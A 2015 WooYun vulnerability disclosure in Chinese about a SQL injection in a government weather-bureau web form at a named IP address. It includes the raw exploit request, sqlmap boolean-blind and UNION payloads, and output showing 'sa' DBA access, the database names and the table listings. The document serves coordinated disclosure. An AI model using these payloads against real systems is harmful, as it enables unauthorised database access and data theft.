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缺陷编号：wooyun-2015-0114297

漏洞标题：某政府网站官网存在SQL注入可取DBA权限等

相关厂商：cncert国家互联网应急中心

漏洞作者： 洞主

提交时间：2015-05-15 16:29

修复时间：2015-07-03 17:34

公开时间：2015-07-03 17:34

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-15： 细节已通知厂商并且等待厂商处理中
2015-05-19： 厂商已经确认，细节仅向厂商公开
2015-05-29： 细节向核心白帽子及相关领域专家公开
2015-06-08： 细节向普通白帽子公开
2015-06-18： 细节向实习白帽子公开
2015-07-03： 细节向公众公开

简要描述：

存在POST型SQL注入，DBA权限，具体的没时间看。

详细说明：

url：http://221.226.82.226:8088/njqxjweb/homepages/comp_query_page.aspx
注入参数：txtTableName

POST /njqxjweb/homepages/comp_query_page.aspx HTTP/1.1
Content-Length: 820
Content-Type: application/x-www-form-urlencoded
Cookie: ASP.NET_SessionId=k33dilamx5lw2qz2zc5hlf23; opusr=; duusr=
Host: 221.226.82.226:8088
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
Btn_Post=%e7%82%b9%e5%87%bb&txtCaseName=xbnqkanx&txtShowHtml=1&txtShowText=1&txtSQL=1&txtTableName='%2b(select%20convert(int%2cCHAR(52)%2bCHAR(67)%2bCHAR(117)%2bCHAR(102)%2bCHAR(105)%2bCHAR(100)%2bCHAR(108)%2bCHAR(88)%2bCHAR(104)%2bCHAR(77)%2bCHAR(55))%20FROM%20syscolumns)%2b'&__EVENTARGUMENT=&__EVENTTARGET=&__VIEWSTATE=dDw3NzA3ODMwNDg7dDw7bDxpPDE%2bOz47bDx0PDtsPGk8Mz47aTwxNT47PjtsPHQ8cDxwPGw8VGV4dDs%2bO2w8XGU7Pj47Pjs7Pjt0PEAwPHA8cDxsPENzc0NsYXNzO18hU0I7PjtsPERHX1RhYmxlO2k8Mj47Pj47Pjs7cDxsPENzc0NsYXNzO18hU0I7PjtsPERHX1BhcGVyO2k8Mj47Pj47cDxsPENzc0NsYXNzO18hU0I7PjtsPERHX0hlYWRlcjtpPDI%2bOz4%2bO3A8bDxDc3NDbGFzcztfIVNCOz47bDxER19Gb290ZXI7aTwyPjs%2bPjtwPGw8Q3NzQ2xhc3M7XyFTQjs%2bO2w8REdfSXRlbTtpPDI%2bOz4%2bO3A8bDxDc3NDbGFzcztfIVNCOz47bDxER19BbHRlcjtpPDI%2bOz4%2bOzs7Oz47Oz47Pj47Pj47PieJyssa%2b%2blCTvHYFT%2bsndx1mMD6

漏洞证明：

Parameter: txtTableName (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: Btn_Post=%e7%82%b9%e5%87%bb&txtCaseName=xbnqkanx&txtShowHtml=1&txtS
howText=1&txtSQL=1&txtTableName='+(select convert(int,CHAR(52)+CHAR(67)+CHAR(117
)+CHAR(102)+CHAR(105)+CHAR(100)+CHAR(108)+CHAR(88)+CHAR(104)+CHAR(77)+CHAR(55))
FROM syscolumns)+'' AND 4026=4026 AND 'TfvQ'='TfvQ&__EVENTARGUMENT=&__EVENTTARGE
T=&__VIEWSTATE=dDw3NzA3ODMwNDg7dDw7bDxpPDE+Oz47bDx0PDtsPGk8Mz47aTwxNT47PjtsPHQ8c
DxwPGw8VGV4dDs+O2w8XGU7Pj47Pjs7Pjt0PEAwPHA8cDxsPENzc0NsYXNzO18hU0I7PjtsPERHX1RhY
mxlO2k8Mj47Pj47Pjs7cDxsPENzc0NsYXNzO18hU0I7PjtsPERHX1BhcGVyO2k8Mj47Pj47cDxsPENzc
0NsYXNzO18hU0I7PjtsPERHX0hlYWRlcjtpPDI+Oz4+O3A8bDxDc3NDbGFzcztfIVNCOz47bDxER19Gb
290ZXI7aTwyPjs+PjtwPGw8Q3NzQ2xhc3M7XyFTQjs+O2w8REdfSXRlbTtpPDI+Oz4+O3A8bDxDc3NDb
GFzcztfIVNCOz47bDxER19BbHRlcjtpPDI+Oz4+Ozs7Oz47Oz47Pj47Pj47PieJyssa++lCTvHYFT+sn
dx1mMD6
    Type: UNION query
    Title: Generic UNION query (NULL) - 13 columns
    Payload: Btn_Post=%e7%82%b9%e5%87%bb&txtCaseName=xbnqkanx&txtShowHtml=1&txtS
howText=1&txtSQL=1&txtTableName=-2808' UNION ALL SELECT NULL,NULL,NULL,CHAR(113)
+CHAR(112)+CHAR(98)+CHAR(106)+CHAR(113)+CHAR(106)+CHAR(87)+CHAR(79)+CHAR(113)+CH
AR(111)+CHAR(68)+CHAR(89)+CHAR(81)+CHAR(105)+CHAR(108)+CHAR(113)+CHAR(122)+CHAR(
106)+CHAR(112)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &__EVENT
ARGUMENT=&__EVENTTARGET=&__VIEWSTATE=dDw3NzA3ODMwNDg7dDw7bDxpPDE+Oz47bDx0PDtsPGk
8Mz47aTwxNT47PjtsPHQ8cDxwPGw8VGV4dDs+O2w8XGU7Pj47Pjs7Pjt0PEAwPHA8cDxsPENzc0NsYXN
zO18hU0I7PjtsPERHX1RhYmxlO2k8Mj47Pj47Pjs7cDxsPENzc0NsYXNzO18hU0I7PjtsPERHX1BhcGV
yO2k8Mj47Pj47cDxsPENzc0NsYXNzO18hU0I7PjtsPERHX0hlYWRlcjtpPDI+Oz4+O3A8bDxDc3NDbGF
zcztfIVNCOz47bDxER19Gb290ZXI7aTwyPjs+PjtwPGw8Q3NzQ2xhc3M7XyFTQjs+O2w8REdfSXRlbTt
pPDI+Oz4+O3A8bDxDc3NDbGFzcztfIVNCOz47bDxER19BbHRlcjtpPDI+Oz4+Ozs7Oz47Oz47Pj47Pj4
7PieJyssa++lCTvHYFT+sndx1mMD6
---
[14:57:56] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 1.1.4322
back-end DBMS: Microsoft SQL Server 2005
[14:57:56] [INFO] fetching current user
current user:    'sa'
[14:57:56] [INFO] testing if current user is DBA
current user is DBA:    True
[14:57:56] [INFO] fetching database names
[14:57:56] [INFO] the SQL query used returns 11 entries
[14:57:56] [INFO] resumed: "master"
[14:57:56] [INFO] resumed: "model"
[14:57:56] [INFO] resumed: "msdb"
[14:57:56] [INFO] resumed: "njqxj"
[14:57:56] [INFO] resumed: "qixiang"
[14:57:56] [INFO] resumed: "qixiang-www"
[14:57:56] [INFO] resumed: "qx2010"
[14:57:56] [INFO] resumed: "ReportServer"
[14:57:56] [INFO] resumed: "ReportServerTempDB"
[14:57:56] [INFO] resumed: "tempdb"
[14:57:56] [INFO] resumed: "weatherforcast"
available databases [11]:
[*] master
[*] model
[*] msdb
[*] njqxj
[*] qixiang
[*] qixiang-www
[*] qx2010
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] weatherforcast


Parameter: txtTableName (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: Btn_Post=%e7%82%b9%e5%87%bb&txtCaseName=xbnqkanx&txtShowHtml=1&txtS
howText=1&txtSQL=1&txtTableName='+(select convert(int,CHAR(52)+CHAR(67)+CHAR(117
)+CHAR(102)+CHAR(105)+CHAR(100)+CHAR(108)+CHAR(88)+CHAR(104)+CHAR(77)+CHAR(55))
FROM syscolumns)+'' AND 4026=4026 AND 'TfvQ'='TfvQ&__EVENTARGUMENT=&__EVENTTARGE
T=&__VIEWSTATE=dDw3NzA3ODMwNDg7dDw7bDxpPDE+Oz47bDx0PDtsPGk8Mz47aTwxNT47PjtsPHQ8c
DxwPGw8VGV4dDs+O2w8XGU7Pj47Pjs7Pjt0PEAwPHA8cDxsPENzc0NsYXNzO18hU0I7PjtsPERHX1RhY
mxlO2k8Mj47Pj47Pjs7cDxsPENzc0NsYXNzO18hU0I7PjtsPERHX1BhcGVyO2k8Mj47Pj47cDxsPENzc
0NsYXNzO18hU0I7PjtsPERHX0hlYWRlcjtpPDI+Oz4+O3A8bDxDc3NDbGFzcztfIVNCOz47bDxER19Gb
290ZXI7aTwyPjs+PjtwPGw8Q3NzQ2xhc3M7XyFTQjs+O2w8REdfSXRlbTtpPDI+Oz4+O3A8bDxDc3NDb
GFzcztfIVNCOz47bDxER19BbHRlcjtpPDI+Oz4+Ozs7Oz47Oz47Pj47Pj47PieJyssa++lCTvHYFT+sn
dx1mMD6
    Type: UNION query
    Title: Generic UNION query (NULL) - 13 columns
    Payload: Btn_Post=%e7%82%b9%e5%87%bb&txtCaseName=xbnqkanx&txtShowHtml=1&txtS
howText=1&txtSQL=1&txtTableName=-2808' UNION ALL SELECT NULL,NULL,NULL,CHAR(113)
+CHAR(112)+CHAR(98)+CHAR(106)+CHAR(113)+CHAR(106)+CHAR(87)+CHAR(79)+CHAR(113)+CH
AR(111)+CHAR(68)+CHAR(89)+CHAR(81)+CHAR(105)+CHAR(108)+CHAR(113)+CHAR(122)+CHAR(
106)+CHAR(112)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &__EVENT
ARGUMENT=&__EVENTTARGET=&__VIEWSTATE=dDw3NzA3ODMwNDg7dDw7bDxpPDE+Oz47bDx0PDtsPGk
8Mz47aTwxNT47PjtsPHQ8cDxwPGw8VGV4dDs+O2w8XGU7Pj47Pjs7Pjt0PEAwPHA8cDxsPENzc0NsYXN
zO18hU0I7PjtsPERHX1RhYmxlO2k8Mj47Pj47Pjs7cDxsPENzc0NsYXNzO18hU0I7PjtsPERHX1BhcGV
yO2k8Mj47Pj47cDxsPENzc0NsYXNzO18hU0I7PjtsPERHX0hlYWRlcjtpPDI+Oz4+O3A8bDxDc3NDbGF
zcztfIVNCOz47bDxER19Gb290ZXI7aTwyPjs+PjtwPGw8Q3NzQ2xhc3M7XyFTQjs+O2w8REdfSXRlbTt
pPDI+Oz4+O3A8bDxDc3NDbGFzcztfIVNCOz47bDxER19BbHRlcjtpPDI+Oz4+Ozs7Oz47Oz47Pj47Pj4
7PieJyssa++lCTvHYFT+sndx1mMD6
---
[14:59:28] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 1.1.4322
back-end DBMS: Microsoft SQL Server 2005
[14:59:28] [INFO] fetching tables for database: [qixiang-www]
[14:59:28] [INFO] the SQL query used returns 56 entries
Database: qixiang-www
[56 tables]
+---------------------------+
| Attachfile                |
| Category                  |
| CategoryValue             |
| ColsRemark                |
| ConfigRow                 |
| Dept                      |
| DisserManage              |
| EffectDate                |
| ImportDocuments           |
| JobBase                   |
| JobdelayInfo              |
| OperateLog                |
| TableQueryCondition       |
| TablesBasicDebug          |
| TablesRemark              |
| TailorFormCol             |
| TailorFormCol             |
| TempWebusercase           |
| Usr                       |
| WebAttachfile             |
| WebResource               |
| WebUserFromOA             |
| balloonreleasespots       |
| caseballoonqualify        |
| caseballoonqualify        |
| casebaseprocedure         |
| casebaseprocedure         |
| caseimportdocList         |
| caseimportdocList         |
| caseinstanceimportdoclist |
| caseinstanceimportdoclist |
| caseresultselected        |
| dataListColumn            |
| dataListDefine            |
| dtproperties              |
| guestProctrans            |
| jobRelation               |
| lightningproofbuilding    |
| lightningproofdesign      |
| lightningprooffinish      |
| othercasebase             |
| powercode                 |
| procform                  |
| procguide                 |
| punishdisclose            |
| sqdwb                     |
| sqrb                      |
| tableTrigger              |
| webcaseinstanceimportdoc  |
| webusercase               |
| webusercase               |
| workflowchart             |
| workflowchart             |
| workflowform              |
| workflownext              |
| workstep                  |
+---------------------------+


修复方案：

大家都知道。

版权声明：转载请注明来源 洞主@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-05-19 17:33

厂商回复：

CNVD未直接复现所述情况，已经转由CNCERT下发给江苏分中心，由其后续协调网站管理单位处置。

最新状态：

暂无